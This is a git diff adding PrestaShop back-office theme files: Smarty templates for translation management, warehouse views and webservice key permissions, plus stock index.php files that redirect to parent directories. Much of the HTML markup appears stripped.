+* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/list/list_header.tpl"} + +{block name="override_header"} +

{$sub_title}

+{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/tracking/index.php b/BO/themes/default/template/controllers/tracking/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/tracking/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/translations/auto_translate.tpl b/BO/themes/default/template/controllers/translations/auto_translate.tpl new file mode 100755 index 0000000..cfb7c8f --- /dev/null +++ b/BO/themes/default/template/controllers/translations/auto_translate.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/translations/helpers/index.php b/BO/themes/default/template/controllers/translations/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/translations/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/translations/helpers/view/index.php b/BO/themes/default/template/controllers/translations/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/translations/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/translations/helpers/view/main.tpl b/BO/themes/default/template/controllers/translations/helpers/view/main.tpl new file mode 100755 index 0000000..89748e7 --- /dev/null +++ b/BO/themes/default/template/controllers/translations/helpers/view/main.tpl @@ -0,0 +1,211 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + +
+ {l s='Modify translations'} + {l s='Here you can modify translations for every line of code inside PrestaShop.'}
+ {l s='First, select a section (such as Back Office or Installed modules), and then click the flag representing the language you want to edit.'}

+ + + + + + {foreach $languages as $language} + + {$language['iso_code']} + + {/foreach} + + +
+ +

{l s='Translation exchange'}

+
+
+ + {l s='Add / Update a language'} + +
+

{l s='You can add or update a language directly from the PrestaShop website here:'}

+
+ {l s='If you choose to update an existing language pack, all of your previous customization\'s in the theme named "Default" will be lost. This includes Front Office expressions and default email templates.'} +
+ {if $packs_to_update || $packs_to_install} +
{l s='Please select the language you want to add or update:'} +   + +
+ {else} +

{l s='Cannot connect to the PrestaShop website to get the language list.'}

+ {/if} + +
+

+ +
+
+ + {l s='Import a language pack manually'} + +
+

+ {l s='If the language file format is: isocode.gzip (e.g. us.gzip), and the language corresponding to this package does not exist, it will automatically be created.'} + {l s='Warning: This will replace all of the existing data inside the destination language.'} +

+

 

+

+ + +

+

+
+
+ +

+ +
+
+ {l s='Export a language'} +

{l s='Export data from one language to a file (language pack).'}
+ {l s='Choose which theme you\'d like to export your translations to. '}
+ +     +    + +

+ +

+
+
+ {l s='Copy'} +

{l s='Copies data from one language to another.'}
+ {l s='Warning: This will replace all of the existing data inside the destination language.'}
+ {l s='If necessary'}, {l s='you must first create a new language.'}.

+
+

+

{l s='From:'}
+ +     + * +

+

+

{l s='To:'}
+ +     + +

+
+
+ +
+

* {l s='Language files must be complete to allow copying of translations.'}

+
+ +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/translations/helpers/view/translation_errors.tpl b/BO/themes/default/template/controllers/translations/helpers/view/translation_errors.tpl new file mode 100755 index 0000000..0d30446 --- /dev/null +++ b/BO/themes/default/template/controllers/translations/helpers/view/translation_errors.tpl @@ -0,0 +1,108 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + {if !empty($limit_warning)} +
+ {if $limit_warning['error_type'] == 'suhosin'} + {l s='Warning: Your hosting provider is using the suhosin patch for PHP, which limits the maximum number of fields allowed in a form:'} + + {$limit_warning['post.max_vars']} {l s='for suhosin.post.max_vars.'}
+ {$limit_warning['request.max_vars']} {l s='for suhosin.request.max_vars.'}
+ {l s='Please ask your hosting provider to increase the suhosin limit to'} + {else} + {l s='Warning! Your PHP configuration limits the maximum number of fields allowed in a form:'}
+ {$limit_warning['max_input_vars']} {l s='for max_input_vars.'}
+ {l s='Please ask your hosting provider to increase the this limit to'} + {/if} + {l s='%s at least or edit the translation file manually.' sprintf=$limit_warning['needed_limit']} +
+ {else} + +
+ {l s='Some sentences to translate use this syntax: %s... These are variables, and PrestaShop take care of replacing them before displaying your translation. You must leave these in your translations, and place them appropriately in your sentence.' sprintf='%d, %s, %1$s, %2$d'} +


+ +

+ {l s='Expressions to translate: %d.' sprintf=$count}
+ {l s='Total missing expresssions: %d.' sprintf=$missing_translations|array_sum}
+

+ + + +
+
+

+ {l s='This expression uses this special syntax:'} %d.
+ {l s='You must use this syntax in your translations. Here are several examples:'} +

+
    +
  • There are %d products ("%d" {l s='will be replaced by a number'}).
  • +
  • List of pages in %s: ("%s" {l s='will be replaced by a string'}).
  • +
  • Feature: %1$s (%2$d values) ("n$" {l s='is used for the order of the arguments'}).
  • +
+
+
+ +
+ {*{$auto_translate}$*} + + + + +

+
+ {if $has_bulk_actions} + + {/if} + + {if isset($params.hint)}{$params.hint} {/if} + + {$params.title} + +
  +
+ {if $shop_link_type == 'shop'} + {l s='Shop'} + {else} + {l s='Group shop'} + {/if} +
  +
{l s='Actions'}
 
+ {foreach $errorsArray as $key => $value} + + + + + {/foreach} +
{$key|stripslashes}= + + {if isset($value.use_sprintf) && $value.use_sprintf} + + {$value.use_sprintf} + + {/if} +
+ + {/if} + +{/block} diff --git a/BO/themes/default/template/controllers/translations/helpers/view/translation_form.tpl b/BO/themes/default/template/controllers/translations/helpers/view/translation_form.tpl new file mode 100755 index 0000000..ae8fd14 --- /dev/null +++ b/BO/themes/default/template/controllers/translations/helpers/view/translation_form.tpl @@ -0,0 +1,133 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + {if !empty($limit_warning)} +
+ {if $limit_warning['error_type'] == 'suhosin'} + {l s='Warning: Your hosting provider is using the suhosin patch for PHP, which limits the maximum number of fields allowed in a form:'} + + {$limit_warning['post.max_vars']} {l s='for suhosin.post.max_vars.'}
+ {$limit_warning['request.max_vars']} {l s='for suhosin.request.max_vars.'}
+ {l s='Please ask your hosting provider to increase the suhosin limit to'} + {else} + {l s='Warning! Your PHP configuration limits the maximum number of fields allowed in a form:'} + {$limit_warning['max_input_vars']} {l s='for max_input_vars.'}
+ {l s='Please ask your hosting provider to increase the this limit to'} + {/if} + {l s='%s at least or edit the translation file manually.' sprintf=$limit_warning['needed_limit']} +
+ {else} + +
+
    +
  • {l s='Click on titles to open fieldsets'}.
  • +
  • {l s='Some sentences to translate use this syntax: %s... These are variables, and PrestaShop take care of replacing them before displaying your translation. You must leave these in your translations, and place them appropriately in your sentence.' sprintf='%d, %s, %1$s, %2$d'}
  • +
+


+ +

+ {l s='Expressions to translate: %d.' sprintf=$count}
+ {l s='Total missing expresssions: %d.' sprintf=$missing_translations|array_sum}
+

+ +
+ {$toggle_button} + + + + + + + +
+
+

+ {l s='This expression uses this special syntax:'} %d.
+ {l s='You must use this syntax in your translations. Here are several examples:'} +

+
    +
  • There are %d products ("%d" {l s='will be replaced by a number'}).
  • +
  • List of pages in %s: ("%s" {l s='will be replaced by a string'}).
  • +
  • Feature: %1$s (%2$d values) ("n$" {l s='is used for the order of the arguments'}).
  • +
+
+
+ +

+ {foreach $tabsArray as $k => $newLang} + {if !empty($newLang)} +
+ + {$k} - {$newLang|count} {l s='expressions'} + {if isset($missing_translations[$k])}({$missing_translations[$k]} {l s='missing'}){/if} + +
+ + {counter start=0 assign=irow} + {foreach $newLang as $key => $value}{counter} + + + + + {/foreach} +
{$key|stripslashes}= {*todo : md5 is already calculated in AdminTranslationsController*} + {if $key|strlen < $textarea_sized} + + {else} + + {/if} + {if isset($value.use_sprintf) && $value.use_sprintf} + + {$value.use_sprintf} + + {/if} +
+
+

+ {/if} + {/foreach} +
+ {/if} + +{/block} diff --git a/BO/themes/default/template/controllers/translations/helpers/view/translation_mails.tpl b/BO/themes/default/template/controllers/translations/helpers/view/translation_mails.tpl new file mode 100755 index 0000000..8124e71 --- /dev/null +++ b/BO/themes/default/template/controllers/translations/helpers/view/translation_mails.tpl @@ -0,0 +1,102 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + {$tinyMCE} + + {if !empty($limit_warning)} +
+ {if $limit_warning['error_type'] == 'suhosin'} + {l s='Warning: Your hosting provider is using the suhosin patch for PHP, which limits the maximum number of fields allowed in a form:'} + + {$limit_warning['post.max_vars']} {l s='for suhosin.post.max_vars.'}
+ {$limit_warning['request.max_vars']} {l s='for suhosin.request.max_vars.'}
+ {l s='Please ask your hosting provider to increase the suhosin limit to'} + {else} + {l s='Warning! Your PHP configuration limits the maximum number of fields allowed in a form:'}
+ {$limit_warning['max_input_vars']} {l s='for max_input_vars.'}
+ {l s='Please ask your hosting provider to increase the this limit to'} + {/if} + {l s='%s at least or edit the translation file manually.' sprintf=$limit_warning['needed_limit']} +
+ {else} + +
+
    +
  • {l s='Click on titles to open fieldsets'}.
  • +
  • {l s='Some sentences to translate use this syntax: %s... These are variables, and PrestaShop take care of replacing them before displaying your translation. You must leave these in your translations, and place them appropriately in your sentence.' sprintf='%d, %s, %1$s, %2$d'}
  • +
+


+ +
+ {$toggle_button} + + + + + + + +
+
+

+ {l s='This expression uses this special syntax:'} %d.
+ {l s='You must use this syntax in your translations. Here are several examples:'} +

+
    +
  • There are %d products ("%d" {l s='will be replaced by a number'}).
  • +
  • List of pages in %s: ("%s" {l s='will be replaced by a string'}).
  • +
  • Feature: %1$s (%2$d values) ("n$" {l s='is used for the order of the arguments'}).
  • +
+
+
+ +

{l s='Core emails:'}

+

{l s='List of emails in the folder'} "mails/{$lang|strtolower}/"

+ {$mail_content} + +

{l s='Module emails:'}

+

{l s='List of emails in the folder'} "modules/name_of_module/mails/{$lang|strtolower}/"

+ {foreach $module_mails as $module_name => $mails} + {$mails['display']} + {/foreach} +
+ {/if} + +{/block} diff --git a/BO/themes/default/template/controllers/translations/helpers/view/translation_modules.tpl b/BO/themes/default/template/controllers/translations/helpers/view/translation_modules.tpl new file mode 100755 index 0000000..81fae60 --- /dev/null +++ b/BO/themes/default/template/controllers/translations/helpers/view/translation_modules.tpl @@ -0,0 +1,148 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + {if !empty($limit_warning)} +
+ {if $limit_warning['error_type'] == 'suhosin'} + {l s='Warning: Your hosting provider is using the suhosin patch for PHP, which limits the maximum number of fields allowed in a form:'} + + {$limit_warning['post.max_vars']} {l s='for suhosin.post.max_vars.'}
+ {$limit_warning['request.max_vars']} {l s='for suhosin.request.max_vars.'}
+ {l s='Please ask your hosting provider to increase the suhosin limit to'} + {else} + {l s='Warning! Your PHP configuration limits the maximum number of fields allowed in a form:'}
+ {$limit_warning['max_input_vars']} {l s='for max_input_vars.'}
+ {l s='Please ask your hosting provider to increase the this limit to'} + {/if} + {l s='%s at least or edit the translation file manually.' sprintf=$limit_warning['needed_limit']} +
+ {else} + +
+
    +
  • {l s='Click on titles to open fieldsets'}.
  • +
  • {l s='Some sentences to translate use this syntax: %s... These are variables, and PrestaShop take care of replacing them before displaying your translation. You must leave these in your translations, and place them appropriately in your sentence.' sprintf='%d, %s, %1$s, %2$d'}
  • +
+


+ +

+ {l s='Expressions to translate: %d.' sprintf=$count}
+ {l s='Total missing expresssions: %d.' sprintf=$missing_translations}
+

+ + + +
+
+

+ {l s='This expression uses this special syntax:'} %d.
+ {l s='You must use this syntax in your translations. Here are several examples:'} +

+
    +
  • There are %d products ("%d" {l s='will be replaced by a number'}).
  • +
  • List of pages in %s: ("%s" {l s='will be replaced by a string'}).
  • +
  • Feature: %1$s (%2$d values) ("n$" {l s='is used for the order of the arguments'}).
  • +
+
+
+ +
+ {$toggle_button} + + + + +
+ + {foreach $modules_translations as $theme_name => $theme} +

>{l s='Theme:'} {if $theme_name === $default_theme_name}{l s='default'}{else}{$theme_name}{/if}

+ {foreach $theme as $module_name => $module} +

{l s='Module:'} {$module_name}

+ {foreach $module as $template_name => $newLang} + {if !empty($newLang)} + {assign var=occurrences value=0} + {foreach $newLang as $key => $value} + {if empty($value['trad'])}{assign var=occurrences value=$occurrences+1}{/if} + {/foreach} + {if $occurrences > 0} + {$missing_translations_module = $occurrences} + {else} + {$missing_translations_module = 0} + {/if} +
+ {if $theme_name === 'default'}{l s='default'}{else}{$theme_name}{/if} - {$template_name} + {$newLang|count} {l s='expressions'} ({$missing_translations_module}) + +
+ + {foreach $newLang as $key => $value} + + + + + {/foreach} +
{$key|stripslashes}= + {* Prepare name string for md5() *} + {capture assign="name"}{strtolower($module_name)}{if $theme_name}_{strtolower($theme_name)}{/if}_{strtolower($template_name)}_{md5($key)}{/capture} + {if $key|strlen < $textarea_sized} + + {else} + + {/if} + {if isset($value.use_sprintf) && $value.use_sprintf} + + {$value.use_sprintf} + + {/if} +
+
+

+ {/if} + {/foreach} + {/foreach} + {/foreach} + {/if} + +{/block} diff --git a/BO/themes/default/template/controllers/translations/index.php b/BO/themes/default/template/controllers/translations/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/warehouses/helpers/index.php b/BO/themes/default/template/controllers/warehouses/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/warehouses/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/warehouses/helpers/view/index.php b/BO/themes/default/template/controllers/warehouses/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/warehouses/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/warehouses/helpers/view/view.tpl b/BO/themes/default/template/controllers/warehouses/helpers/view/view.tpl new file mode 100755 index 0000000..a17e3bf --- /dev/null +++ b/BO/themes/default/template/controllers/warehouses/helpers/view/view.tpl @@ -0,0 +1,108 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} +{block name="override_tpl"} +{if isset($warehouse)} +
+
+ {l s='General information'} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{l s='Reference:'}{$warehouse->reference}
{l s='Name:'}{$warehouse->name}
{l s='Manager:'}{$employee->lastname} {$employee->firstname}
{l s='Country:'}{if $address->country != ''}{$address->country}{else}{l s='N/D'}{/if}
{l s='Phone:'}{if $address->phone != ''}{$address->phone}{else}{l s='N/D'}{/if}
{l s='Management type:'}{l s=$warehouse->management_type}
{l s='Valuation currency:'}{$currency->name} ({$currency->sign})
{l s='Products'}{$warehouse_num_products} {l s='References:'}
{l s='Physical product quantities:'}{$warehouse_quantities}
{l s='Stock valuation:'}{$warehouse_value}
+
+
+
+
+ {l s='Shops:'} + {l s='The following are the shops associated with this warehouse.'} + + + + + {foreach $shops as $shop} + + + + + {/foreach} +
{l s='ID'}{l s='Name'}
{$shop.id_shop}{$shop.name}
+
+
+ + +{else} + {l s='This warehouse does not exist.'} +{/if} +{/block} diff --git a/BO/themes/default/template/controllers/warehouses/index.php b/BO/themes/default/template/controllers/warehouses/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/warehouses/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/webservice/helpers/form/form.tpl b/BO/themes/default/template/controllers/webservice/helpers/form/form.tpl new file mode 100755 index 0000000..6ce9583 --- /dev/null +++ b/BO/themes/default/template/controllers/webservice/helpers/form/form.tpl @@ -0,0 +1,116 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="description"} + {$smarty.block.parent} + {if $input.type == 'text' && $input.name == 'key'} + + {/if} +{/block} + +{block name="input"} + {if $input.type == 'resources'} +

{l s='Set the resource permissions for this key:'}

+ + + + + + + + + + + + + + + + + + + + + + + {foreach $ressources as $resource_name => $resource} + + + + + + + + + + {/foreach} + +
{l s='Resource'}{l s='View (GET)'}{l s='Modify (PUT)'}{l s='Add (POST)'}{l s='Delete (DELETE)'}{l s='Fast view (HEAD)'}
{$resource_name}
+ {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="script"} + $(function() { + $('table.accesses input.all').click(function() { + if($(this).is(':checked')) + $(this).parent().parent().find('input.get:not(:checked), input.put:not(:checked), input.post:not(:checked), input.delete:not(:checked), input.head:not(:checked)').click(); + else + $(this).parent().parent().find('input.get:checked, input.put:checked, input.post:checked, input.delete:checked, input.head:checked').click(); + }); + $('table.accesses .all_get').click(function() { + if($(this).is(':checked')) + $(this).parent().parent().parent().find('input.get:not(:checked)').click(); + else + $(this).parent().parent().parent().find('input.get:checked').click(); + }); + $('table.accesses .all_put').click(function() { + if($(this).is(':checked')) + $(this).parent().parent().parent().find('input.put:not(:checked)').click(); + else + $(this).parent().parent().parent().find('input.put:checked').click(); + }); + $('table.accesses .all_post').click(function() { + if($(this).is(':checked')) + $(this).parent().parent().parent().find('input.post:not(:checked)').click(); + else + $(this).parent().parent().parent().find('input.post:checked').click(); + }); + $('table.accesses .all_delete').click(function() { + if($(this).is(':checked')) + $(this).parent().parent().parent().find('input.delete:not(:checked)').click(); + else + $(this).parent().parent().parent().find('input.delete:checked').click(); + }); + $('table.accesses .all_head').click(function() { + if($(this).is(':checked')) + $(this).parent().parent().parent().find('input.head:not(:checked)').click(); + else + $(this).parent().parent().parent().find('input.head:checked').click(); + }); + }); +{/block} diff --git a/BO/themes/default/template/controllers/webservice/helpers/form/index.php b/BO/themes/default/template/controllers/webservice/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/webservice/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/webservice/helpers/index.php b/BO/themes/default/template/controllers/webservice/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/webservice/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/webservice/index.php b/BO/themes/default/template/controllers/webservice/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/webservice/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/footer.tpl b/BO/themes/default/template/footer.tpl new file mode 100755 index 0000000..8caf2c6 --- /dev/null +++ b/BO/themes/default/template/footer.tpl @@ -0,0 +1,52 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* 